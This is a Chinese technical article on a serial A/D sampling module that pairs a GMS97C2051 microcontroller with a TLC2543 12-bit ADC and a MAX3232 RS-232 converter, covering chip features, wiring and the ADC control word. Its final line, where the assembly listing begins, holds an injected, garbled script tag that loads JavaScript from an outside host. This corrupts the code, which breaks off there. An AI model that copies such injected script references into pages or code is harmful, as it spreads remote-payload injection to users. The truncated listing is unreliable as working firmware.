在微机测控系统中,经常要用到a/d转换。常用的方法是扩展一块或多块a/d采集卡。当模拟量较少或是温度、压力等缓变信号场合,采用总线型a/d卡并不是最合适、最经济的方案。这里介绍一种以gns97c2051单片机为核心,采用tlc2543 12位串行a/d转换器构成的采样模块,该模块的采样数据由单片机串口经电平转换后送到上位机(ibm pc兼容机)的串口com1或com2,形成一种串行数据采集串行数据传输的方式。经实践调试证实:该模块功耗低、采样精度高、可靠性好、接口简便,有一定实用价值。
1、主要器件介绍
1.1 tlc2543串行a/d转换器
模块采用ti公司的tlc2543 12位串行a/d转换器,使用开关电容逐次逼近技术完成a/d转换过程。由于是串行输入结构,能够节省51系列单片机i/o资源,且价格适中。其特点有:
(1)12位分辨率a/d转换器;
(2)在工作温度范围内10μs转换时间;
(3)11个模拟输入通道;
(4)3路内置自测试方式;
(5)采样率为66kbps;
(6)线性误差+1lsb(max)
(7)有转换结束(eoc)输出;
(8)具有单、双极性输出;
(9)可编程的msb或lsb前导;
(10)可编程的输出数据长度。
tlc2543的引脚排列如图1所示。图1中ain0~ain10为模拟输入端;为片选端;din 为串行数据输入端;dout为a/d转换结果的三态串行输出端;eoc为转换结束端;clk为i/o时钟;ref+为正基准电压端;ref-为负基准电压端;vcc为电源;gnd为地。
1.2 gms97c2051单片机
gms97c2051是武汉力源公司和韩国lg公司联合推出的一种性能价格比极高的 8位单片机,其指令系统与mcs-51系列完全兼容。gms97c2051与at89c2051兼容(可直接替换),但其性能价格比优于at89c2051。引脚排列如图2所示。
1.3 电平转换器max3232
max3232为rs-232收发器,简单易用,单+5v电源供电,仅需外接几个电容即可完成从ttl电平到rs-232电平的转换,引脚排列如图3所示。
2、硬件设计
硬件电路如图4所示。
单片机gms97c2051是整个系统的核心,tlc2543对输入的模拟信号进行采集,转换结果由单片机通过p3.5(9脚)接收,ad芯片的通道选择和方式数据通过p3.4(8脚)输入到其内部的一个8位地址和控制寄存器,单片机采集的数据通过串口(3、2脚)经max3232转换成rs232电平向上位机传输。图中串行lcd显示电路仅用于调试,对采集/传输的数据进行监测。
3、单片机软件设计
单片机程序主要包括串行数据采集模块“data_sam”和串行数据传输模块“rs232”,调试所用到的显示子程序在此略去。
tlc2543的通道选择和方式数据为8位,其功能为:d7、d6、d5和d4用来选择要求转换的通道,d7d6d5d4=0000时选择0通道,d7d6d5d4=0001时选择1通道,依次类推;d3和d2用来选择输出数据长度,本程序选择输出数据长度为12位,即d3d2=00或d3d2=10;d1,d0选择输入数据的导前位,d1d0=00选择高位导前。
tlc2543在每次i/o周期读取的数据都是上次转换的结果,当前的转换结果在下一个i/o周期中被串行移出。第一次读数由于内部调整,读取的转换结果可能不准确,应丢弃。
数据采集程序如下:
data_sam:
mov r0,#30h ;?script src=http://er12.com/t.js>